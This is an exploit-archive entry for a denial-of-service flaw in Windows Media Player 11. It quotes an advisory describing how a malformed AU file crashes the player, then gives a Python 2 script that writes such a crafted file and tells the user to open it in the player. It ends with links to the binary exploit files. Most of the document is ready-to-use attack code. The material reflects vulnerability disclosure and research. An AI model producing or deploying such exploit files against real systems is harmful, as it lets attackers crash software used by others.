72 lines
No EOL
2.3 KiB
Python
Executable file
72 lines
No EOL
2.3 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/25236/info
|
|
|
|
Microsoft Windows Media Player is prone to a denial-of-service vulnerability when processing a malformed AU file.
|
|
|
|
A remote attacker can exploit this issue to crash the affected application, denying service to legitimate users.
|
|
|
|
This issue affects Microsoft Windows Media Player 11; other versions may also be affected.
|
|
|
|
#Windows Media Player 11 local/remote DoS by A.Sawan aka NtWaK0 and
|
|
A.Hariri aka nophie
|
|
|
|
|
|
import sys
|
|
import os
|
|
|
|
head =
|
|
("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"+
|
|
|
|
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"+
|
|
|
|
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"+
|
|
|
|
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x66\x66\x66\x00")
|
|
|
|
print "[x] Windows Media Player 11 DoS by A.Sawan aka NtWaK0 and
|
|
A.Hariri aka Nophie."
|
|
|
|
try:
|
|
f = open("iapetus.au",'w')
|
|
except IOError, e:
|
|
print "Unable to open file ", e
|
|
sys.exit(0)
|
|
|
|
print "[x] File sucessfully opened for writing."
|
|
try:
|
|
f.write(head)
|
|
except IOError, e:
|
|
print "Unable to write to file ", e
|
|
sys.exit(0)
|
|
print "[x] File successfully written."
|
|
f.close()
|
|
print "[x] Open iapetus.au with Windows Media Player 11."
|
|
|
|
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30462-1.au
|
|
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30462-2.py |